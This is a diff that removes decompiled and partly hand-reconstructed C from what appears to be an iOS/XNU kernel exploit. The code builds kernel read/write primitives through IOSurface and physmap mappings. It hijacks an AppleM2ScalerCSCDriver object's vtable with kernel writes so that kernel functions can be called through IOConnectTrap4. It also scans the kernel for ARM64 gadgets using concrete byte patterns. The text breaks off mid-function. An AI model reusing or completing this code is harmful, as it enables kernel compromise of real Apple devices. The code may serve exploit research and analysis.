- || !krwCtx->threadStateKrwPhysAddr - || (unsigned int)(krwCtx->ioSurfaceMemEntryMaybe + 1) < 2 ) - { - return false; - } - v17[0] = krwCtx->ioSurfaceMemEntryMaybe; - v4 = setup_physmap_krw(krwCtx, 0); - if ( v4 ) - return false; - if ( !krwCtx->gap_0x19D0_size8 - || !krwCtx->physmapBasePhys - || !krwCtx->physmapSize - || !krwCtx->percpuBasePhys - || !krwCtx->percpuSize ) - { - return false; - } - memory_entry = mach_make_memory_entry(mach_task_self_, &size, 0, 131075, &object_handle, 0); - if ( !memory_entry ) - { - v17[1] = object_handle; - v6 = vm_map(mach_task_self_, &address, v1, 0, 1, object_handle, 0, 0, 3, 3, 2u); - if ( !v6 ) - { - bzero((void *)address, v1); - v7 = (uint64_t *)address; - *(uint64_t *)address = krwCtx->gap_0x19D0_size8; - v7[4] = krwCtx->iogpuKobjPtr2; - v7[5] = krwCtx->iogpuObjCount; - v7[6] = krwCtx->physmapBasePhys; - v7[7] = krwCtx->physmapSize; - v7[8] = krwCtx->percpuBasePhys; - v7[9] = krwCtx->percpuSize; - status = vm_deallocate(mach_task_self_, (vm_address_t)v7, v1); - v9 = 0; - v10 = 1; - while ( 1 ) - { - v11 = v10; - portSlot = (mach_port_name_t *)iosurface_enum_mach_port(krwCtx, v9); - if ( !portSlot ) - break; - v12 = portSlot; - v13 = v17[v9]; - portKaddr = task_self_get_ipc_port(krwCtx, v13); - if ( !portKaddr ) - break; - if ( (unsigned int)kread_and_vm_attr_double(krwCtx, portKaddr) ) - return false; - status = mach_port_mod_refs(mach_task_self_, v13, 0, 0xFFFF); - if ( status ) - return false; - v10 = 0; - *v12 = v13; - v9 = 1; - if ( (v11 & 1) == 0 ) - return iosurface_check_and_alloc_port(krwCtx) == 0; - } - } - } - return false; -} -// 0: using guessed type int def_3E8F0; - -//----- (000000000001D70C) ---------------------------------------------------- -bool __fastcall krw_setup_iosurface_v2(struct_krwCtx *krwCtx, uint32_t *a2) -{ - // struct_krwCtx *krwCtx; // x19 - vm_size_t v2; // x20 - __int64 v5; // x0 - __int64 v7; // x23 - char v8; // w8 - int v9; // w21 - char v10; // w26 - mach_port_name_t *v11; // x0 - mach_port_name_t v12; // w1 - __int64 v13; // x8 - char v14; // w9 - char v15; // w23 - mach_port_name_t v16; // w1 - bool v17; // zf - __int64 v18; // x23 - __int64 v19; // x23 - vm_address_t v20; // x8 - __int64 v21; // x9 - __int64 v22; // x9 - int v23; // w10 - __int64 v24; // x11 - int v25; // w8 - int v26; // [xsp+Ch] [xbp-54h] BYREF - vm_address_t address; // [xsp+10h] [xbp-50h] BYREF - mem_entry_name_port_t object[2]; // [xsp+18h] [xbp-48h] - - address = 0; - *(uint64_t *)object = 0; - v2 = vm_page_size; - v26 = -1; - if ( krwCtx->xnuVersionPacked < XNU_VERSION_PACKED(8020, 241, 8, 0, 0) ) - return false; - v5 = fd_open_dev_null(&v26); - if ( (uint32_t)v5 ) - return false; - v7 = 0; - v8 = 1; - v9 = 163878; - while ( 1 ) - { - v10 = v8; - v11 = (mach_port_name_t *)iosurface_enum_mach_port(krwCtx, v7); - if ( !v11 ) - break; - v12 = *v11; - object[v7] = *v11; - if ( v12 + 1 < 2 ) - break; - v5 = mach_port_mod_refs(mach_task_self_, v12, 0, 1); - if ( (uint32_t)v5 ) - break; - v8 = 0; - v7 = 1; - if ( (v10 & 1) == 0 ) - { - if ( !vm_map(mach_task_self_, &address, v2, 0, 1, object[1], 0, 0, 3, 3, 2u) ) - { - v18 = *(uint64_t *)address; - if ( validate_kaddr_range(krwCtx, *(uint64_t *)address) ) - { - krwCtx->gap_0x19D0_size8 = v18; - v19 = *(uint64_t *)(address + 32); - if ( validate_kaddr_range(krwCtx, v19) ) - { - krwCtx->iogpuKobjPtr2 = v19; - v20 = address; - v21 = *(uint64_t *)(address + 40); - if ( (unsigned __int64)(v21 - 1) <= 0x1F ) - { - krwCtx->iogpuObjCount = v21; - krwCtx->ioSurfaceMemEntryMaybe = object[0]; - v22 = *(uint64_t *)(v20 + 48); - if ( v22 ) - { - if ( (v22 & 7) == 0 ) - { - v23 = *(uint32_t *)(v20 + 56); - if ( v23 ) - { - v24 = *(uint64_t *)(v20 + 64); - if ( v24 ) - { - if ( (v24 & 7) == 0 ) - { - v25 = *(uint32_t *)(v20 + 72); - if ( v25 ) - { - krwCtx->physmapBasePhys = v22; - krwCtx->physmapSize = v23; - krwCtx->percpuBasePhys = v24; - krwCtx->percpuSize = v25; - v9 = krw_read_validation(krwCtx, 1); - if ( !v9 ) - { - fd_close(v26); - v26 = -1; - v9 = krw_write_validation(krwCtx); - } - } - } - } - } - } - } - } - } - } - } - break; - } - } - if ( v26 != -1 ) - fd_close(v26); - if ( v9 ) - { - v13 = 0; - v14 = 1; - do - { - v15 = v14; - v16 = object[v13]; - if ( v16 + 1 >= 2 ) - mach_port_deallocate(mach_task_self_, v16); - v14 = 0; - v13 = 1; - } - while ( (v15 & 1) != 0 ); - } - if ( address ) - v17 = v2 == 0; - else - v17 = 1; - if ( !v17 ) - vm_deallocate(mach_task_self_, address, v2); - *a2 = v9 == 0; - return true; -} - -//----- (000000000001D970) ---------------------------------------------------- -mach_vm_address_t __fastcall build_kernel_vtable(struct_krwCtx *krwCtx, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, uint64_t *a7) -{ - // struct_krwCtx *krwCtx; // x19 - uint64_t *v2; // x21 - uintptr_t v4; // x22 - uintptr_t v6; // x23 - uintptr_t v8; // x24 - __int64 v10; // x25 - __int64 v12; // x26 - __int64 v13; // x19 - unsigned int v14; // w8 - unsigned int v15; // w10 - unsigned int v16; // w8 - __int64 v17; // x0 - const CFDictionaryRef *v18; // x0 - io_service_t MatchingService; // w0 - io_object_t v20; // w20 - unsigned int v21; // w27 - mach_vm_address_t v22; // x28 - unsigned __int64 v23; // x0 - __int64 v24; // x8 - unsigned int v25; // w22 - __int64 address; // [xsp+18h] [xbp-1098h] - unsigned int size[3]; // [xsp+24h] [xbp-108Ch] BYREF - __int128 v29; // [xsp+30h] [xbp-1080h] - __int64 v30; // [xsp+40h] [xbp-1070h] - io_connect_t connect; // [xsp+4Ch] [xbp-1064h] BYREF - __int128 v32; // [xsp+50h] [xbp-1060h] BYREF - __int64 v33; // [xsp+60h] [xbp-1050h] - - v2 = a7; - v4 = a6; - v6 = a5; - v8 = a4; - v10 = a3; - v12 = a2; - v13 = krwCtx; - krwCtx = KRWCTX_FROM_UINTPTR(v13); - connect = 0; - *(uint64_t *)&size[1] = 0; - v14 = krwCtx->pageSizeOrSomething; - v15 = 0x1000 % v14; - v16 = v14 - 0x1000 % v14 + 4096; - if ( !v15 ) - v16 = 4096; - size[0] = v16; - if ( !krwCtx->gap_0x200 ) - { - macho_find_text_section(krwCtx->kernelMachoCtx, &v32); - v29 = v32; - v30 = v33; - v17 = kernel_pattern_scan((__int64)&v32, "00 00 01 91 C0 03 5F D6", 0); - if ( !v17 ) - return 0; - *(uint64_t *)(v13 + 512) = v17; - } - v18 = IOServiceMatching("AppleM2ScalerCSCDriver"); - MatchingService = IOServiceGetMatchingService(kIOMasterPortDefault, v18); - v20 = MatchingService; - v21 = MatchingService + 1; - if ( MatchingService + 1 < 2 ) - goto LABEL_21; - v22 = 0; - if ( IOServiceOpen(MatchingService, mach_task_self_, 0, &connect) ) - goto LABEL_22; - if ( connect + 1 < 2 ) - { -LABEL_21: - v22 = 0; - goto LABEL_22; - } - v22 = get_task_kobject_addr(krwCtx, connect); - if ( v22 ) - { - if ( kread_physmap_decorated(krwCtx, v22, (unsigned __int64 *)&size[1]) ) - { - if ( validate_kaddr_range(v13, *(__int64 *)&size[1]) ) - { - v23 = alloc_physmap_page(v13, size); - if ( v23 ) - { - address = v23; - if ( !(unsigned int)krw_read_thunk(krwCtx, *(__int64 *)&size[1], 4096, &v32) - || !(unsigned int)kwrite_with_retry(v13, address, (__int64)&v32, 4096) ) - { - goto LABEL_28; - } - v24 = 1464; - if ( *(int *)(v13 + 320) > 6152 ) - v24 = 1472; - if ( kwrite64(v13, v24 + address, *(uint64_t *)(v13 + 512)) ) - { - kwrite64(v13, v22, address); - kwrite64(v13, v22 + 64, 8); - kwrite64(v13, v22 + 72, v12); - kwrite64(v13, v22 + 80, 2 * v10 - 16); - v25 = IOConnectTrap4(connect, 0, v8, v6, v4, 0); - kwrite64(v13, v22 + 64, 0); - kwrite64(v13, v22 + 72, 0); - kwrite64(v13, v22 + 80, 0); - kwrite64(v13, v22, *(__int64 *)&size[1]); - if ( v2 ) - *v2 = v25; - v22 = 1; - } - else - { -LABEL_28: - v22 = 0; - } - map_shared_mem_and_transfer_data(v13, address, size[0]); - goto LABEL_22; - } - } - } - goto LABEL_21; - } -LABEL_22: - if ( connect + 1 >= 2 ) - IOServiceClose(connect); - if ( v21 >= 2 ) - IOObjectRelease(v20); - return v22; -} -// 1D9A8: variable 'v1' is possibly undefined -// 1D9AC: variable 'v3' is possibly undefined -// 1D9B0: variable 'v5' is possibly undefined -// 1D9B4: variable 'v7' is possibly undefined -// 1D9B8: variable 'v9' is possibly undefined -// 1D9BC: variable 'v11' is possibly undefined -// 48940: using guessed type __int64 __chkstk_darwin(void); -// 48940: using guessed type __int64 __fastcall __chkstk_darwin(uint64_t, uint64_t); - -//----- (000000000001DCA8) ---------------------------------------------------- -__int64 kernel_pattern_scan(SearchObj *obj, const char *pattern_str, uint32_t align_flag) -{ - uint32_t flags = 0; // unsued - - // Zero the strtol endptr slot - // str xzr, [sp, #0x28] - char *strtol_end = NULL; - - if (pattern_str == NULL) - return NULL; - - // strdup the pattern so strsep can mutate it - char *buf = strdup(pattern_str); - if (buf == NULL) - return NULL; - - char *buf_saved = buf; // x24, kept for free() later - char *str_ptr = buf; // [sp+0x10], consumed by strsep - int16_t pat[128]; // [sp+0x30], x20 = sp+0x30 - intptr_t pat_len = 0; // x22, count of tokens written - intptr_t anchor = 0; // x23, index of '-' separator - - // String literals for token comparison - // x25 = " " (space separator for strsep) - // x26 = "-" - // x27 = "+" - // x28 = ".." - - char *token; - while ((token = strsep(&str_ptr, " ")) != NULL) { - - if (strcmp(token, "-") == 0) { - // '-' marks the anchor point: anchor = current pat_len - anchor = pat_len; - // b → +276 (increment pat_len) - - } else if (strcmp(token, "+") == 0) { - // '+' marks anchor+1 - anchor = pat_len + 1; - // b → +276 - - } else if (strcmp(token, "..") == 0) { - // ".." = wildcard: store 0xFFFF (-1 as int16_t) - pat[pat_len] = (int16_t)0xFFFF; - // fall into +264: check pat_len <= 0x7e, then increment - - } else { - // Hex byte token: parse with strtol base 16 - // strtol(token, &strtol_end, 16) - long val = strtol(token, &strtol_end, 16); - pat[pat_len] = (int16_t)(val & 0xFF); // and w8,w0,#0xff; strh - - // Check if strtol consumed the whole token - // ldr x8, [sp,#0x28]; ldrb w8, [x8] - // cbz w8 → +264 (good, advance) - // else → +336 (error, free and return NULL) - if (*strtol_end != '\0') { - // Parse error — strtol stopped early - free(buf_saved); - return NULL; - } - } - - // +264: guard against overflow (max 0x7f tokens) - if (pat_len > 0x7e) { - free(buf_saved); - return NULL; - } - - pat_len++; // add x22, x22, #1 - - // +276: loop back if str_ptr still has content - // cbnz x8 (=[sp+0x10]) → strsep loop - } - - // Done parsing — free the strdup'd buffer - free(buf_saved); - - // Copy obj into local snapshot (24 bytes: q0 + x8) - // ldr q0,[x21]; str q0,[sp+0x10] - // ldr x8,[x21+0x10]; str x8,[sp+0x20] - SearchObj local_obj; - memcpy(&local_obj, obj, 0x18); - - // Call scan_kernel_text_gadget with parsed pattern - // x0 = &local_obj - // x1 = pat (int16_t array at sp+0x30) - // x2 = pat_len (x22) - // x3 = anchor (x23) - // w4 = align_flag (w20, from ldp w4,w5,[sp+0x8]) - // w5 = flags (w19, from ldp w4,w5,[sp+0x8]) - return scan_kernel_text_gadget(&local_obj, pat, pat_len, anchor, align_flag, flags); -} - -//----- (000000000001DE40) ---------------------------------------------------- -__int64 __fastcall scan_kernel_text_gadget(__int64 *a1, __int64 a2, __int64 a3, __int64 a4, int a5, __int64 a6) -{ - int len; // w22 - int last; // w22 - int i; // w10 - unsigned __int64 page_mask; // x28 - unsigned int align_mask; // w8 - unsigned __int64 mapped; // x8 - unsigned __int64 mapped_size; // x1 - unsigned __int64 mapped_end; // x26 - unsigned __int64 cursor; // x22 - unsigned __int64 last_prefetched; // x9 - unsigned __int64 vm_addr; // x8 - __int16 *pattern; // x23 - __int16 pat_byte; // w10 - __int64 scan_range[3]; // [xsp+10h] [xbp-180h] BYREF - sub_197A8_result v31; // x0,x1 - -#if defined(__arm64e__) - __asm__ volatile("xpaci %0" : "+r"(a2)); -#endif - __asm__ volatile("" : : "r"(a6)); - len = (int)a3; - pattern = (__int16 *)a2; - if ( a3 != (char)a3 || len <= 0 || !a1[2] || !a1[1] ) - return 0; - - last = len - 1; - while ( last >= 0 && pattern[last] == -1 ) - --last; - if ( last < 0 ) - { - vm_addr = a1[1]; - if ( !a5 || (vm_addr & (unsigned int)(a5 - 1)) == 0 ) - return vm_addr ? vm_addr + a4 : 0; - return 0; - } - - scan_range[0] = a1[0]; - scan_range[1] = a1[1]; - scan_range[2] = a1[2]; - v31 = macho_find_segment((__int64 **)scan_range, 1); - mapped = v31.addr; - mapped_size = v31.size; - if ( !mapped || !mapped_size ) - return 0; - - mapped_end = mapped + mapped_size; - if ( mapped_size < (unsigned int)len ) - return 0; - - page_mask = (unsigned __int64)-(int)*(uint32_t *)(*a1 + 56); - align_mask = a5 ? (unsigned int)(a5 - 1) : 0; - last_prefetched = 0; - cursor = mapped; - while ( cursor <= mapped_end - (unsigned int)len ) - { - unsigned __int64 touch; - - touch = cursor + (unsigned int)last; - if ( ((last_prefetched ^ touch) & page_mask) != 0 ) - { - macho_walk_segment_by_name_0(*a1, touch, 1u, mapped_end - touch); - last_prefetched = touch; - } - - vm_addr = a1[1] + cursor - mapped; - if ( !align_mask || (vm_addr & align_mask) == 0 ) - { - for ( i = 0; i < len; ++i ) - { - pat_byte = pattern[i]; - if ( pat_byte != -1 && *(unsigned __int8 *)(cursor + i) != (unsigned __int8)pat_byte ) - break; - } - if ( i == len ) - return vm_addr ? vm_addr + a4 : 0; - } - ++cursor; - } - return 0; -} - -//----- (000000000001E0C8) ---------------------------------------------------- -__int64 __fastcall search_binary_pattern_text(__int128 *a1, char *__s, int a3, char a4) -{ - size_t v8; // x24 - uint16_t *v9; // x0 - void *v10; // x21 - __int64 v11; // x10 - unsigned int v12; // w11 - __int16 v13; // w12 - __int64 v15; // x2 - __int64 v16; // x19 - __int64 scan_range[3]; // [xsp+0h] [xbp-60h] BYREF - - v8 = strlen(__s); - v9 = malloc(2 * (v8 + 2)); - if ( !v9 ) - return 0; - v10 = v9; - v9[v8 + 1] = 0; - *v9 = 0; - if ( v8 ) - { - v11 = 0; - v12 = 1; - do - { - v13 = (unsigned __int8)__s[v11]; - v11 = v12; - v9[v12] = v13; - } - while ( v8 > v12++ ); - } - if ( (a4 & 0x20) != 0 ) - v15 = v8 + 2; - else - v15 = v8 + 1; - scan_range[0] = *(uint64_t *)a1; - scan_range[1] = *((uint64_t *)a1 + 1); - scan_range[2] = *((uint64_t *)a1 + 2); - v16 = scan_kernel_text_gadget(scan_range, (__int64)&v9[((unsigned __int8)(a4 & 0x20) >> 5) ^ 1], v15, (a4 & 0x20) != 0, a3, a4); - free(v10); - return v16; -} - -//----- (000000000001E1B8) ---------------------------------------------------- -unsigned __int64 __fastcall find_pattern_kernel_section(__int64 *a1, __int64 a2, int a3) -{ - unsigned __int64 v5; // x1 - unsigned __int64 v6; // x21 - unsigned __int64 result; // x0 - unsigned __int64 v8; // x22 - unsigned __int64 v9; // x25 - unsigned __int64 v10; // x23 - unsigned __int64 v11; // x27 - char *v12; // x24 - __int64 scan_range[3]; // [xsp+0h] [xbp-70h] BYREF - __int64 __s2; // [xsp+18h] [xbp-58h] BYREF - sub_197A8_result v13; // x0,x1 - - scan_range[0] = a1[0]; - scan_range[1] = a1[1]; - scan_range[2] = a1[2]; - __s2 = a2; - v13 = macho_find_segment((__int64 **)scan_range, 1); - v6 = v13.addr; - v5 = v13.size; - result = 0; - if ( v6 ) - { - v8 = v5; - if ( v5 ) - { - v9 = v6 + v5; - v10 = *(unsigned __int8 *)(*a1 + 52); - if ( v6 + v10 > v6 + v5 ) - { - return 0; - } - else - { - v11 = v6; - v12 = (char *)v6; - while ( 1 ) - { - if ( !a3 || (v11 & (a3 - 1)) == 0 ) - { - macho_walk_segment_by_name_0(*a1, (unsigned __int64)v12, v10, v8); - if ( !memcmp(v12, &__s2, v10) ) - break; - } - ++v12; - ++v11; - --v8; - if ( (unsigned __int64)&v12[v10] > v9 ) - return 0; - } - return a1[1] - v6 + v11; - } - } - } - return result; -} -// 1E20C: variable 'v5' is possibly undefined - -//----- (000000000001E2BC) ---------------------------------------------------- -char *__fastcall find_pattern_macho_binary(__int64 *a1, uint32_t *a2, uint32_t *a3, unsigned __int64 a4) -{ - unsigned __int64 v8; // x1 - unsigned __int64 v9; // x23 - char *result; // x0 - unsigned __int64 v11; // x24 - uint32_t *v12; // x10 - __int64 v13; // x12 - __int64 scan_range[3]; // [xsp+0h] [xbp-50h] BYREF - sub_197A8_result v14; // x0,x1 - - scan_range[0] = a1[0]; - scan_range[1] = a1[1]; - scan_range[2] = a1[2]; - v14 = macho_find_segment((__int64 **)scan_range, 1); - v9 = v14.addr; - v8 = v14.size; - result = 0; - if ( v9 && v8 ) - { - v11 = v9 + v8; - macho_walk_segment_by_name_0(*a1, v9, v8, v8); - if ( v9 < v11 ) - { - v12 = (uint32_t *)v9; - do - { - if ( (*a3 & *v12) == *a2 ) - { - if ( (unsigned __int64)&v12[a4] >= v11 ) - return 0; - if ( a4 < 2 ) - { -LABEL_11: - result = (char *)v12 + a1[1] - v9; - if ( result ) - return result; - } - else - { - v13 = 1; - while ( (a3[v13] & v12[v13]) == a2[v13] ) - { - if ( a4 == ++v13 ) - goto LABEL_11; - } - } - } - ++v12; - } - while ( (unsigned __int64)v12 < v11 ); - } - return 0; - } - return result; -} -// 1E314: variable 'v8' is possibly undefined - -//----- (000000000001E3C4) ---------------------------------------------------- -unsigned __int64 __fastcall kernel_find_symbol_by_cstring_scan(__int64 a1, char *a2, const char *a3, char *a4) -{ - unsigned __int64 result; // x0 - __int64 v9; // x22 - __int64 v10[3]; // [xsp+0h] [xbp-50h] BYREF - __int128 v11; // [xsp+18h] [xbp-38h] BYREF - - macho_getsectbyname("__TEXT", a1, "__cstring", &v11); - result = search_binary_pattern_text(&v11, a4, 0, 33); - if ( result ) - { - v9 = result; - macho_getsectbyname(a2, a1, a3, v10); - return find_pattern_kernel_section(v10, v9, *(unsigned __int8 *)(a1 + 52)); - } - return result; -} - -//----- (000000000001E45C) ---------------------------------------------------- -char *__fastcall find_kernel_gadget(__int64 a1) -{ - char *result; // x0 - unsigned __int64 v3; // x8 - unsigned int v4; // w20 - const char *v5; // x9 - const char *v6; // x10 - char *v7; // x1 - __int64 v8; // x8 - uint64_t v9[3]; // [xsp+8h] [xbp-58h] BYREF - uint64_t v10[3]; // [xsp+20h] [xbp-40h] BYREF - uint64_t v11[3]; // [xsp+38h] [xbp-28h] BYREF - - if ( krw_ctx_has_flag(KRWCTX_FROM_RAW_FIELD(a1, 280), KRW_CTX_FLAG_CPU_HIGH_CORE_CLUSTER) ) - { - macho_find_text_section(a1, v11); - result = (char *)kernel_pattern_scan((__int64)v11, "08 FD 64 D3 1F 21 00 F1 .. 00 00 54", 0); - if ( !result ) - return result; - v3 = (unsigned __int64)(result + 12); - return find_kernel_func_by_branch((__int64 *)a1, (__int64 *)(v3 & 0xFFFFFFFFFFFFFFFCLL), 1); - } - if ( *(uint64_t *)(a1 + 136) >= XNU_VERSION_PACKED(8792, 80, 25, 0, 0) && !krw_ctx_has_flag(KRWCTX_FROM_RAW_FIELD(a1, 280), KRW_CTX_FLAG_CPU_A9) ) - { - macho_find_text_section(a1, v10); - result = (char *)kernel_pattern_scan((__int64)v10, ".. FD .. D3 .. 00 00 B5", 0); - if ( !result ) - return result; - v3 = (unsigned __int64)(result + 8); - return find_kernel_func_by_branch((__int64 *)a1, (__int64 *)(v3 & 0xFFFFFFFFFFFFFFFCLL), 1); - } - v4 = get_sptm_version_index(a1); - macho_find_text_section(a1, v9); - v5 = "6B FD 62 D3 7F 19 00 F1 .. .. .. 54"; - v6 = ".. 01 .. 8B 88 D0 38 D5 E8 00 00 B5"; - if ( v4 != 1 ) - v6 = 0; - if ( v4 <= 1 ) - v5 = v6; - if ( v4 <= 4 ) - v7 = (char *)v5; - else - v7 = ".. FD .. D3 .. .. 00 F1 .. .. .. 54"; - result = (char *)kernel_pattern_scan((__int64)v9, v7, 0); - v8 = 12; - if ( v4 <= 1 ) - v8 = -8; - if ( result ) - { - v3 = (unsigned __int64)&result[v8]; - return find_kernel_func_by_branch((__int64 *)a1, (__int64 *)(v3 & 0xFFFFFFFFFFFFFFFCLL), 1); - } - return result; -} - -//----- (000000000001E598) ---------------------------------------------------- -__int64 __fastcall get_sptm_version_index(__int64 a1) -{ - int v1; // w8 - - v1 = *(uint32_t *)(a1 + 112); - if ( v1 > 8791 ) - { - if ( v1 == 8792 || v1 == 8796 ) - return 5LL; - if ( v1 == 10002 ) - return 6LL; - } - else - { - if ( (unsigned int)(v1 - 8019) < 2 ) - return 4LL; - if ( v1 == 6153 ) - return 2LL; - if ( v1 == 7195 ) - return 3LL; - } - return 0LL; -} - -//----- (000000000001E620) ---------------------------------------------------- -unsigned __int64 __fastcall find_kernel_func_aligned(__int64 *a1, __int64 a2) -{ - return (unsigned __int64)find_kernel_func_by_branch(a1, (__int64 *)(a2 & 0xFFFFFFFFFFFFFFFCLL), 1); -} - -//----- (000000000001E62C) ---------------------------------------------------- -__int64 __fastcall find_kernel_func_by_scan(__int64 *a1) -{ - unsigned int v2; // w20 - bool v3; // zf - unsigned __int64 v4; // x0 - unsigned __int64 v5; // x8 - const char *v6; // x8 - char *v7; // x1 - __int64 result; // x0 - __int128 v9; // [xsp+0h] [xbp-60h] BYREF - __int64 v10; // [xsp+10h] [xbp-50h] - __int64 v11; // [xsp+20h] [xbp-40h] BYREF - __int64 v12; // [xsp+28h] [xbp-38h] - __int64 v13; // [xsp+30h] [xbp-30h] - __int128 v14; // [xsp+38h] [xbp-28h] BYREF - __int64 v15; // [xsp+48h] [xbp-18h] - - v2 = get_sptm_version_index((__int64)a1); - macho_find_text_section((__int64)a1, &v14); - macho_getsectbyname("__DATA_CONST", (__int64)a1, "__mod_init_func", &v11); - if ( v12 ) - v3 = v13 == 0; - else - v3 = 1; - if ( !v3 ) - { - v4 = macho_read_u64_thunk(a1, v12); - if ( v4 ) - { - v5 = *((uint64_t *)&v14 + 1) - v4; - if ( *((uint64_t *)&v14 + 1) < v4 && v4 < v15 + *((uint64_t *)&v14 + 1) ) - { - *((uint64_t *)&v14 + 1) = v4; - v15 += v5; - } - } - } - v6 = "68 72 40 B9 08 01 19 32 68 72 00 B9"; - if ( v2 != 1 ) - v6 = 0; - if ( v2 <= 1 ) - v7 = (char *)v6; - else - v7 = "68 82 40 B9 08 01 19 32 68 82 00 B9"; - v9 = v14; - v10 = v15; - result = kernel_pattern_scan((__int64)&v9, v7, 0); - if ( result ) - { - result = (__int64)find_kernel_func_by_branch(a1, (__int64 *)((result + 12) & 0xFFFFFFFFFFFFFFFCLL), 1); - if ( result ) - return macho_read_u64_thunk(a1, result); - } - return result; -} -// 19B94: using guessed type __int64 __fastcall macho_read_u64_thunk(uint64_t, uint64_t); - -//----- (000000000001E728) ---------------------------------------------------- -char *__fastcall find_kernel_branch_target(__int64 *a1) -{ - char *result; // x0 - char *v3; // x20 - unsigned __int64 v4; // x21 - uint64_t v5[3]; // [xsp+8h] [xbp-48h] BYREF - - macho_find_text_section((__int64)a1, v5); - result = (char *)kernel_pattern_scan((__int64)v5, "E0 03 15 AA .. .. .. .. FE 03 13 AA", 0); - if ( result ) - { - result = resolve_branch_target(a1, (__int64 *)(result + 4)); - if ( result ) - { - v3 = result; - v4 = -4; - while ( ((unsigned int)macho_read_u32(a1, (__int64 *)&v3[v4 + 4]) & 0x9F000000) != 0x90000000 - || (unsigned int)macho_read_u32(a1, (__int64 *)&v3[v4 + 12]) >> 21 != 1112 ) - { - v4 += 4LL; - if ( v4 >= 0xFC ) - return 0; - } - return find_kernel_func_by_branch(a1, (__int64 *)&v3[v4 + 4], 1); - } - } - return result; -} - -//----- (000000000001E800) ---------------------------------------------------- -char *__fastcall resolve_branch_target(__int64 *a1, __int64 *a2) -{ - unsigned int insn; // w0 - __int64 imm26; // x8 - - insn = (unsigned int)macho_read_u32(a1, a2); - if ( (insn & 0x7C000000) != 0x14000000 ) - return 0; - imm26 = insn & 0x1FFFFFF; - if ( (insn & 0x2000000) != 0 ) - imm26 |= 0xFFFFFFFFFE000000LL; - if ( !imm26 ) - return 0; - return (char *)a2 + 4 * imm26; -} - -//----- (000000000001E854) ---------------------------------------------------- -unsigned __int64 __fastcall find_kernel_func(__int64 *a1, __int64 *a2) -{ - return (unsigned __int64)find_kernel_func_by_branch(a1, a2, 1); -} - -//----- (000000000001E85C) ---------------------------------------------------- -unsigned __int64 __fastcall find_kernel_func_versioned(__int64 *someStruct, int *a2) -{ - struct_krwCtx *krwCtx; - __int64 v5; // x0 - unsigned __int64 v6; // x0 - unsigned __int64 v7; // x22 - __int64 v8; // x23 - unsigned __int64 v9; // x21 - int v10; // w8 - unsigned int v12; // [xsp+0h] [xbp-60h] BYREF - unsigned __int64 scan_range[3]; // [xsp+8h] [xbp-58h] BYREF - unsigned __int64 text_range[3]; // [xsp+20h] [xbp-40h] BYREF - - krwCtx = KRWCTX_FROM_UINTPTR(someStruct[35]); - if ( krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_PAC_KERNEL_LAYOUT) ) - { - macho_find_text_section(krwCtx->kernelMachoCtx, text_range); - scan_range[0] = text_range[0]; - scan_range[1] = text_range[1] + text_range[2] - 0x20000; - scan_range[2] = 0x20000; - v5 = kernel_pattern_scan((__int64)scan_range, "2B 09 40 B9 4B 39 0B 8B", 0); - if ( v5 ) - { - v6 = (unsigned __int64)find_kernel_func_by_branch(krwCtx, (__int64 *)(v5 - 40), 1); - if ( v6 ) - { - v7 = v6; - v8 = macho_read_u64_thunk(krwCtx, v6 - 8); - if ( validate_kaddr_range(krwCtx, v8) ) - { - if ( kread_u32(krwCtx, v8, &v12) && v12 - 1 <= 0x1F ) - { - v9 = macho_read_u64_thunk(krwCtx, v7); - if ( validate_kaddr_range(krwCtx, v9) ) - { - v10 = v12; -LABEL_12: - *a2 = v10; - return v9; - } - } - } - } - } - return 0; - } - else - { - v9 = (unsigned __int64)find_kernel_branch_target(someStruct); - if ( v9 ) - { - v10 = 8; - goto LABEL_12; - } - } - return v9; -} -// 19B94: using guessed type __int64 __fastcall macho_read_u64_thunk(uint64_t, uint64_t); - -//----- (000000000001E99C) ---------------------------------------------------- -unsigned __int64 __fastcall find_kread_pattern_versioned(__int64 a1, unsigned __int64 *a2, unsigned __int64 *a3) -{ - int v6; // w22 - char *v7; // x1 - unsigned __int64 result; // x0 - unsigned __int64 v9; // x23 - unsigned __int64 v10; // x22 - uint64_t v11[3]; // [xsp+8h] [xbp-48h] BYREF - - v6 = get_sptm_version_index(a1); - macho_find_text_section(a1, v11); - if ( v6 ) - v7 = "5F 00 00 71 20 01 00 54"; - else - v7 = 0; - result = kernel_pattern_scan((__int64)v11, v7, 0); - if ( result ) - { - v9 = result; - result = (unsigned __int64)find_kernel_func_by_branch((__int64 *)a1, (__int64 *)(result + 8), 1); - if ( result ) - { - v10 = result; - result = (unsigned __int64)find_kernel_func_by_branch((__int64 *)a1, (__int64 *)(v9 + 24), 1); - if ( result ) - { - result = kread_physmap_decorated(KRWCTX_FROM_RAW_FIELD(a1, 280), result, a2); - if ( (uint32_t)result ) - return kread_physmap_decorated(KRWCTX_FROM_RAW_FIELD(a1, 280), v10, a3); - } - } - } - return result; -} - -//----- (000000000001EA70) ---------------------------------------------------- -__int64 __fastcall find_kernel_func_at_offset(struct_krwCtx *krwCtx, int a2) -{ - __int64 result; // x0 - __int64 v4; // x21 - __int64 *v5; // x19 - unsigned int v6; // w20 - const char *v7; // x8 - char *v8; // x1 - uint64_t v9[3]; // [xsp+8h] [xbp-38h] BYREF - - if ( a2 > 0 ) - return 0; - v4 = KRWCTX_RAW_PTR(krwCtx) + 8LL * a2; - result = *(uint64_t *)(v4 + 6496); - if ( !result ) - { - if ( a2 ) - return 0; - v5 = krwCtx->kernelMachoCtx; - v6 = get_sptm_version_index((__int64)v5); - macho_find_text_section((__int64)v5, v9); - v7 = "09 .. 00 F9 E1 03 00 32 00 00 80 52"; - if ( v6 != 1 ) - v7 = 0; - if ( v6 <= 1 ) - v8 = (char *)v7; - else - v8 = "09 .. 00 F9 00 00 80 52 E1 03 00 32"; - result = kernel_pattern_scan((__int64)v9, v8, 0); - if ( result ) - { - result = (__int64)resolve_branch_target(v5, (__int64 *)(result + 12)); - if ( result ) - *(uint64_t *)(v4 + 6496) = result; - } - } - return result; -} - -//----- (000000000001EB2C) ---------------------------------------------------- -char *__fastcall find_kernel_func_by_branch(__int64 *a1, __int64 *a2, int a3) -{ - char *v3; // x21 - unsigned int v7; // w0 - unsigned int v8; // w0 - __int64 v9; // x9 - unsigned __int64 v10; // x9 - char *v11; // x9 - unsigned int v13; // w23 - __int64 v14; // x8 - char v15; // w25 - int v16; // w23 - __int64 *v17; // x24 - __int64 *v18; // x22 - unsigned int v19; // w0 - __int64 v20; // x8 - bool v21; // cf - unsigned __int64 v22; // x8 - - if ( ((unsigned __int8)a2 